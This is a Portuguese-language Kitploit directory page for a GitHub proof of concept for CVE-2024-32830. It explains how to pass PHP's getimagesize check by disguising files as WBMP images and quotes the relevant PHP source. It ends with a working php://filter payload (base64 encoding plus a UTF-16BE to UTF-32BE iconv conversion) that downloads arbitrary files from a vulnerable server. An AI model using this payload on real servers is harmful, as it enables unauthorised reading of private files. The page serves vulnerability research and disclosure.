Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-32830-poc — PoC code to download files with CVE-2024-32830 | Kitploit
Ferramentas/GitHubGitHub/ptrstr/cve-2024-32830-poc
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application Exploitation
GitHubptrstr/cve-2024-32830-poc

CVE-2024-32830-poc

PoC code to download files with CVE-2024-32830

Ver Repositório
há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-32830-poc

Código PoC para baixar arquivos com CVE-2024-32830

Bypass do getimagesize

Para contornar a restrição do getimagesize, podemos criar uma imagem image/vnd.wap.wbmp simples para PHP.

A verificação do tipo de arquivo é muito simples:

root@kitploit:~
// https://github.com/php/php-src/blob/0029d2b08bbd3cb3aa293d9c8d55bf31faa9e203/ext/standard/image.c#L917
static int php_get_wbmp(php_stream *stream, struct gfxinfo **result, int check)
{
	int i, width = 0, height = 0;

	if (php_stream_rewind(stream)) {
		return 0;
	}

	/* get type */
	if (php_stream_getc(stream) != 0) {
		return 0;
	}

	/* skip header */
	do {
		i = php_stream_getc(stream);
		if (i < 0) {
			return 0;
		}
	} while (i & 0x80);

	/* get width */
	do {
		i = php_stream_getc(stream);
		if (i < 0) {
			return 0;
		}
		width = (width << 7) | (i & 0x7f);
		/* maximum valid width for wbmp (although 127 may be a more accurate one) */
		if (width > 2048) {
			return 0;
		}
	} while (i & 0x80);

	/* get height */
	do {
		i = php_stream_getc(stream);
		if (i < 0) {
			return 0;
		}
		height = (height << 7) | (i & 0x7f);
		/* maximum valid height for wbmp (although 127 may be a more accurate one) */
		if (height > 2048) {
			return 0;
		}
	} while (i & 0x80);

	if (!height || !width) {
		return 0;
	}

	if (!check) {
		(*result)->width = width;
		(*result)->height = height;
	}

	return IMAGE_FILETYPE_WBMP;
}

A maneira mais simples de construir uma imagem válida seria com dois bytes NUL, seguidos por dois bytes < 0x80 para largura e altura.

É possível fazer isso para qualquer arquivo, usando php://filter.

A primeira camada precisaria aplicar uma codificação base64 para garantir que todos os dados sejam ASCII, satisfazendo assim a restrição < 0x80.

O segundo filtro precisaria adicionar os dois primeiros bytes NUL. Isso é possível forçando uma conversão de UTF-16BE para UTF-32BE. Isso forçará o iconv a interpretar cada bloco de dois bytes como um caractere UTF-16BE válido e, em seguida, adicionar dois bytes NUL antes dele para torná-lo UTF-32BE. O filtro real a ser usado é: convert.iconv.utf-16be.utf-32be.

Nosso payload final é php://filter/convert.base64-encode/convert.iconv.utf-16be.utf-32be/resource=<arquivo aqui>.

Baixar ferramenta